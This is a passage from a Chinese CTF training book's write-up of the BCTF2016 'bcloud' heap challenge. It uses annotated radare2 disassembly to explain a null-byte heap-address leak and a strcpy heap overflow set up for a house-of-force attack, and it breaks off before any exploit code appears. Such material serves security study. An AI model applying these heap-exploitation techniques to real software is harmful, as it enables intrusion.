📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • init
  • New note
  • Edit note
  • Delete note
  • 漏洞利用
  • leak heap
  • house-of-force
  • leak libc
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.23 pwn BCTF2016 bcloud

Previous6.1.22 pwn HITCONCTF2016 Sleepy_HolderNext6.1.24 pwn HITCONCTF2016 House_of_Orange

Last updated 3 years ago

Was this helpful?

题目复现

$ file bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
$ checksec -f bcloud
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4       bcloud
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.2.

32 位程序,开启了 Canary 和 NX,默认开启 ASLR。

在 Ubuntu-14.04 上玩一下:

$ ./bcloud
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1234
Host:
4321
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
10
Input the content:
BBBB
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
2
WTF? Something strange happened.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
3
Input the id:
0
Input the new content:
CCCC
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
4
Input the id:
0
Delete success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
5
Syncing...
Synchronization success.

典型的堆利用程序,实现了添加、修改、删除的功能,显示功能未实现。另外还有个同步,不知道做什么用。在打印菜单之前,程序读入 name 并打印了出来,这个很有意思,可能是为了信息泄漏故意设置的。

题目解析

init

在 main 函数打印菜单之前,有一个初始化函数 fcn.0804899c,这个函数又依次调用了函数 sub.memset_7a1 和函数 sub.memset_84e:

[0x08048590]> pdf @ sub.memset_7a1
/ (fcn) sub.memset_7a1 173
|   sub.memset_7a1 ();
|           ; var int local_60h @ ebp-0x60
|           ; var int local_5ch @ ebp-0x5c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; CALL XREF from 0x080489a2 (fcn.0804899c)
|           0x080487a1      push ebp
|           0x080487a2      mov ebp, esp
|           0x080487a4      sub esp, 0x78                               ; 开辟栈空间
|           0x080487a7      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080487ad      mov dword [local_ch], eax
|           0x080487b0      xor eax, eax
|           0x080487b2      lea eax, [local_5ch]                        ; eax = local_5ch
|           0x080487b5      add eax, 0x40                               ; eax = local_5ch + 0x40
|           0x080487b8      mov dword [local_60h], eax                  ; [local_60h] = local_5ch + 0x40
|           0x080487bb      mov dword [local_8h], 0x50                 ; 'P' ; [0x50:4]=-1 ; 80
|           0x080487c3      mov dword [local_4h], 0
|           0x080487cb      lea eax, [local_5ch]
|           0x080487ce      mov dword [esp], eax
|           0x080487d1      call sym.imp.memset                         ; memset(local_5ch, 0, 0x50) 初始化内存
|           0x080487d6      mov dword [esp], str.Input_your_name:      ; [0x8048e87:4]=0x75706e49 ; "Input your name:"
|           0x080487dd      call sym.imp.puts                          ; int puts(const char *s)
|           0x080487e2      mov dword [local_8h], 0xa
|           0x080487ea      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080487f2      lea eax, [local_5ch]
|           0x080487f5      mov dword [esp], eax
|           0x080487f8      call sub.read_68d                           ; read_68d(local_5ch, 0x40, 0xa) 调用函数读入 0x40 个字节 到栈
|           0x080487fd      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x08048804      call sym.imp.malloc                         ; malloc(0x40) 分配空间
|           0x08048809      mov edx, eax
|           0x0804880b      mov eax, dword [local_60h]                  ; eax = local_5ch + 0x40
|           0x0804880e      mov dword [eax], edx                        ; 将返回地址放到 [local_5ch + 0x40],该地址位于栈上
|           0x08048810      mov eax, dword [local_60h]
|           0x08048813      mov eax, dword [eax]
|           0x08048815      mov dword [0x804b0cc], eax                  ; 将返回地址放到 [0x804b0cc],该地址位于 .bss 段
|           0x0804881a      mov eax, dword [local_60h]
|           0x0804881d      mov eax, dword [eax]
|           0x0804881f      lea edx, [local_5ch]
|           0x08048822      mov dword [local_4h], edx
|           0x08048826      mov dword [esp], eax                        ; [esp] 为返回地址
|           0x08048829      call sym.imp.strcpy                         ; strcpy([esp], local_5ch) 将读入的字符串复制到分配的空间上
|           0x0804882e      mov eax, dword [local_60h]
|           0x08048831      mov eax, dword [eax]
|           0x08048833      mov dword [esp], eax
|           0x08048836      call sub.Hey__s__Welcome_to_BCTF_CLOUD_NOTE_MANAGE_SYSTEM_779   ; 调用函数打印出字符串
|           0x0804883b      mov eax, dword [local_ch]
|           0x0804883e      xor eax, dword gs:[0x14]
|       ,=< 0x08048845      je 0x804884c
|       |   0x08048847      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048845 (sub.memset_7a1)
|       `-> 0x0804884c      leave
\           0x0804884d      ret

所以该函数所读入的字符串是先放在栈上,然后复制到堆。最后调用一个函数打印出了堆上的字符串。

来看一下读入字符串的函数 sub.read_68d:

[0x08048590]> pdf @ sub.read_68d
/ (fcn) sub.read_68d 124
|   sub.read_68d (int arg_8h, int arg_ch, int arg_10h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_dh @ ebp-0xd
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; XREFS: CALL 0x080487f8  CALL 0x080488d4  CALL 0x080488fe  CALL 0x08048737  CALL 0x08048a79  CALL 0x08048b4f  
|           0x0804868d      push ebp
|           0x0804868e      mov ebp, esp
|           0x08048690      sub esp, 0x28                              ; '('
|           0x08048693      mov eax, dword [arg_10h]                    ; 第三个参数
|           0x08048696      mov byte [local_1ch], al                    ; 通过后面的程序可知这里是换行符 "\x0a"
|           0x08048699      mov dword [local_ch], 0
|           0x080486a0      mov dword [local_ch], 0                     ; 循环计数 i,初始化为 0
|       ,=< 0x080486a7      jmp 0x80486f1
|       |   ; JMP XREF from 0x080486f7 (sub.read_68d)
|      .--> 0x080486a9      mov dword [local_8h], 1
|      :|   0x080486b1      lea eax, [local_dh]
|      :|   0x080486b4      mov dword [local_4h], eax
|      :|   0x080486b8      mov dword [esp], 0
|      :|   0x080486bf      call sym.imp.read                           ; read(0, [local_dh], 1) 读入一个字节
|      :|   0x080486c4      test eax, eax
|     ,===< 0x080486c6      jg 0x80486d4                                ; 读入成功时跳转
|     |:|   0x080486c8      mov dword [esp], 0xffffffff                ; [0xffffffff:4]=-1 ; -1
|     |:|   0x080486cf      call sym.imp.exit                           ; exit(-1) 否则退出
|     |:|   ; JMP XREF from 0x080486c6 (sub.read_68d)
|     `---> 0x080486d4      movzx eax, byte [local_dh]
|      :|   0x080486d8      cmp al, byte [local_1ch]                    ; 将读入字节与换行符比较
|     ,===< 0x080486db      jne 0x80486df                               ; 不相等时跳转
|    ,====< 0x080486dd      jmp 0x80486f9                               ; 否则退出循环
|    ||:|   ; JMP XREF from 0x080486db (sub.read_68d)
|    |`---> 0x080486df      mov edx, dword [local_ch]                   ; 取出 i
|    | :|   0x080486e2      mov eax, dword [arg_8h]                     ; 第一个参数,即 buf 的位置
|    | :|   0x080486e5      add edx, eax                                ; buf[i]
|    | :|   0x080486e7      movzx eax, byte [local_dh]
|    | :|   0x080486eb      mov byte [edx], al                          ; 将读入字节放到 buf[i]
|    | :|   0x080486ed      add dword [local_ch], 1                     ; i = i + 1
|    | :|   ; JMP XREF from 0x080486a7 (sub.read_68d)
|    | :`-> 0x080486f1      mov eax, dword [local_ch]
|    | :    0x080486f4      cmp eax, dword [arg_ch]                     ; i 与第二个参数比较
|    | `==< 0x080486f7      jl 0x80486a9                                ; 小于时循环继续
|    |      ; JMP XREF from 0x080486dd (sub.read_68d)
|    `----> 0x080486f9      mov edx, dword [local_ch]
|           0x080486fc      mov eax, dword [arg_8h]                     ; 取出 buf 的位置
|           0x080486ff      add eax, edx                                ; buf[i]
|           0x08048701      mov byte [eax], 0                           ; 将 "\x00" 放到 buf[i]
|           0x08048704      mov eax, dword [local_ch]                   ; 返回 i
|           0x08048707      leave
\           0x08048708      ret

乍看之下似乎没有问题,在读入字符串末尾也加上了截断 \x00。

但是,注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 local_5ch,最多 0x40 个字节,返回地址位于 local_5ch + 0x40,所以如果我们正好读入 0x40 字节,则 \x00 会被放到 local_5ch + 0x41 的位置,然后正好被返回地址给覆盖掉了。由于函数 strcpy() 是以 \x00 来决定字符串结尾的,所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。

继续看函数 sub.memset_84e:

[0x08048590]> pdf @ sub.memset_84e
/ (fcn) sub.memset_84e 334
|   sub.memset_84e ();
|           ; var int local_a8h @ ebp-0xa8
|           ; var int local_a4h @ ebp-0xa4
|           ; var int local_a0h @ ebp-0xa0
|           ; var int local_9ch @ ebp-0x9c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; CALL XREF from 0x080489a7 (fcn.0804899c)
|           0x0804884e      push ebp
|           0x0804884f      mov ebp, esp
|           0x08048851      sub esp, 0xb8                               ; 开辟栈空间
|           0x08048857      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x0804885d      mov dword [local_ch], eax
|           0x08048860      xor eax, eax
|           0x08048862      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048868      add eax, 0x40                               ; eax = local_9ch + 0x40
|           0x0804886b      mov dword [local_a8h], eax                  ; [local_a8h] = local_9ch + 0x40
|           0x08048871      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048877      add eax, 0x44                               ; eax = local_9ch + 0x44
|           0x0804887a      mov dword [local_a4h], eax                  ; [local_a4h] = local_9ch + 0x44
|           0x08048880      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048886      add eax, 0x88                               ; eax = local_9ch + 0x88
|           0x0804888b      mov dword [local_a0h], eax                  ; [local_a0h] = local_9ch + 0x88
|           0x08048891      mov dword [local_8h], 0x90                 ; [0x90:4]=-1 ; 144
|           0x08048899      mov dword [local_4h], 0
|           0x080488a1      lea eax, [local_9ch]
|           0x080488a7      mov dword [esp], eax
|           0x080488aa      call sym.imp.memset                         ; memset(local_9ch, 0, 0x90) 初始化内存
|           0x080488af      mov dword [esp], str.Org:                  ; [0x8048e98:4]=0x3a67724f ; "Org:"
|           0x080488b6      call sym.imp.puts                          ; int puts(const char *s)
|           0x080488bb      mov dword [local_8h], 0xa
|           0x080488c3      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080488cb      lea eax, [local_9ch]
|           0x080488d1      mov dword [esp], eax
|           0x080488d4      call sub.read_68d                           ; read_68d(local_9ch, 0x40, 0xa) 调用函数读入 Org 到栈
|           0x080488d9      mov dword [esp], str.Host:                 ; [0x8048e9d:4]=0x74736f48 ; "Host:"
|           0x080488e0      call sym.imp.puts                          ; int puts(const char *s)
|           0x080488e5      mov dword [local_8h], 0xa
|           0x080488ed      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080488f5      mov eax, dword [local_a4h]
|           0x080488fb      mov dword [esp], eax
|           0x080488fe      call sub.read_68d                           ; read_68d(local_9ch + 0x44, 0x40, 0xa) 调用函数读入 Host 到栈
|           0x08048903      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x0804890a      call sym.imp.malloc                         ; addr1 = malloc(0x40) 分配空间
|           0x0804890f      mov edx, eax
|           0x08048911      mov eax, dword [local_a0h]                  ; eax = local_9ch + 0x88
|           0x08048917      mov dword [eax], edx                        ; 将返回地址 addr1 放到 [local_9ch + 0x88]
|           0x08048919      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x08048920      call sym.imp.malloc                         ;  addr2 = malloc(0x40) 分配空间
|           0x08048925      mov edx, eax
|           0x08048927      mov eax, dword [local_a8h]                  ; eax = local_9ch + 0x40
|           0x0804892d      mov dword [eax], edx                        ; 将返回地址 addr2 放到 [local_9ch + 0x40]
|           0x0804892f      mov eax, dword [local_a8h]
|           0x08048935      mov eax, dword [eax]
|           0x08048937      mov dword [0x804b0c8], eax                  ; 将返回地址 addr2 放到 [0x804b0c8]
|           0x0804893c      mov eax, dword [local_a0h]
|           0x08048942      mov eax, dword [eax]
|           0x08048944      mov dword [0x804b148], eax                  ; 将返回地址 addr1 放到 [0x804b148]
|           0x08048949      mov eax, dword [local_a0h]
|           0x0804894f      mov eax, dword [eax]
|           0x08048951      mov edx, dword [local_a4h]
|           0x08048957      mov dword [local_4h], edx
|           0x0804895b      mov dword [esp], eax
|           0x0804895e      call sym.imp.strcpy                         ; strcpy(addr1, local_9ch + 0x44) 复制 Host 到 addr1
|           0x08048963      mov eax, dword [local_a8h]
|           0x08048969      mov eax, dword [eax]
|           0x0804896b      lea edx, [local_9ch]
|           0x08048971      mov dword [local_4h], edx
|           0x08048975      mov dword [esp], eax
|           0x08048978      call sym.imp.strcpy                         ; strcpy(addr2, local_9ch) 复制 Org 到 addr2
|           0x0804897d      mov dword [esp], str.OKay__Enjoy:          ; [0x8048ea3:4]=0x79614b4f ; "OKay! Enjoy:)"
|           0x08048984      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048989      mov eax, dword [local_ch]
|           0x0804898c      xor eax, dword gs:[0x14]
|       ,=< 0x08048993      je 0x804899a
|       |   0x08048995      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048993 (sub.memset_84e)
|       `-> 0x0804899a      leave
\           0x0804899b      ret

同样的,Host 的返回地址放在 local_9ch + 0x88 的位置,而字符串最多到 local_9ch + 0x44 + 0x40,中间还间隔了 0x4 字节,所以不存在漏洞。但是 Org 的返回地址放在 local_9ch + 0x40,正好位于字符串的后面,所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面,所以 strcpy 会将 Org 字符串,返回地址和 Host 字符串全都复制到 Org 的堆上,造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size,即 house-of-force。

当然这种漏洞有一定的几率不会成功,比如返回地址的低位本来就是 \x00 的时候,就恰好截断了。

New note

[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae
/ (fcn) sub.Input_the_length_of_the_note_content:_9ae 244
|   sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah);
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_9h @ ebp+0x9
|           ; arg int arg_ah @ ebp+0xa
|           ; CALL XREF from 0x08048d11 (main + 144)
|           0x080489ae      push ebp
|           0x080489af      mov ebp, esp
|           0x080489b1      sub esp, 0x28                              ; '('
|           0x080489b4      mov dword [local_ch], 0
|           0x080489bb      mov dword [local_10h], 0
|           0x080489c2      mov dword [local_10h], 0                    ; 循环计数 i,初始化为 0
|       ,=< 0x080489c9      jmp 0x80489df
|       |   ; JMP XREF from 0x080489e3 (sub.Input_the_length_of_the_note_content:_9ae)
|      .--> 0x080489cb      mov eax, dword [local_10h]
|      :|   0x080489ce      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|      :|   0x080489d5      test eax, eax
|     ,===< 0x080489d7      jne 0x80489db                               ; 当 notes[i] 不为 0 时继续循环
|    ,====< 0x080489d9      jmp 0x80489e5                               ; 否则跳出循环
|    ||:|   ; JMP XREF from 0x080489d7 (sub.Input_the_length_of_the_note_content:_9ae)
|    |`---> 0x080489db      add dword [local_10h], 1                    ; i = i + 1
|    | :|   ; JMP XREF from 0x080489c9 (sub.Input_the_length_of_the_note_content:_9ae)
|    | :`-> 0x080489df      cmp dword [local_10h], 9                    ; 最多有 10 个 note
|    | `==< 0x080489e3      jle 0x80489cb                               ; i <= 9 时循环继续
|    |      ; JMP XREF from 0x080489d9 (sub.Input_the_length_of_the_note_content:_9ae)
|    `----> 0x080489e5      cmp dword [local_10h], 0xa                 ; [0xa:4]=-1 ; 10
|       ,=< 0x080489e9      jne 0x80489fc                               ; i 不等于 10 时跳转
|       |   0x080489eb      mov dword [esp], str.Lack_of_space._Upgrade_your_account_with_just__100_:
|       |   0x080489f2      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080489f7      jmp 0x8048aa0                               ; 否则函数返回
|      ||   ; JMP XREF from 0x080489e9 (sub.Input_the_length_of_the_note_content:_9ae)
|      |`-> 0x080489fc      mov dword [esp], str.Input_the_length_of_the_note_content: ; [0x8048eec:4]=0x75706e49
|      |    0x08048a03      call sym.imp.puts                          ; int puts(const char *s)
|      |    0x08048a08      call sub.atoi_709                           ; 调用函数读入 length
|      |    0x08048a0d      mov dword [local_ch], eax                   ; 将 length 放到 [local_ch]
|      |    0x08048a10      mov eax, dword [local_ch]
|      |    0x08048a13      add eax, 4                                  ; length = length + 4
|      |    0x08048a16      mov dword [esp], eax
|      |    0x08048a19      call sym.imp.malloc                         ; malloc(length + 4) 为 note 分配空间
|      |    0x08048a1e      mov edx, eax
|      |    0x08048a20      mov eax, dword [local_10h]                  ; eax = i
|      |    0x08048a23      mov dword [eax*4 + 0x804b120], edx          ; 将 note 地址放到 notes[i]
|      |    0x08048a2a      mov eax, dword [local_10h]
|      |    0x08048a2d      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|      |    0x08048a34      test eax, eax
|      |,=< 0x08048a36      jne 0x8048a44                               ; notes[i] 不为 0 时跳转
|      ||   0x08048a38      mov dword [esp], 0xffffffff                ; [0xffffffff:4]=-1 ; -1
|      ||   0x08048a3f      call sym.imp.exit                           ; exit(-1) 否则退出程序
|      ||   ; JMP XREF from 0x08048a36 (sub.Input_the_length_of_the_note_content:_9ae)
|      |`-> 0x08048a44      mov eax, dword [local_10h]
|      |    0x08048a47      mov edx, dword [local_ch]
|      |    0x08048a4a      mov dword [eax*4 + 0x804b0a0], edx          ; lengths[i] = length
|      |    0x08048a51      mov dword [esp], str.Input_the_content:    ; [0x8048f12:4]=0x75706e49 ; "Input the content:"
|      |    0x08048a58      call sym.imp.puts                          ; int puts(const char *s)
|      |    0x08048a5d      mov eax, dword [local_10h]
|      |    0x08048a60      mov eax, dword [eax*4 + 0x804b120]         ; [0x804b120:4]=0
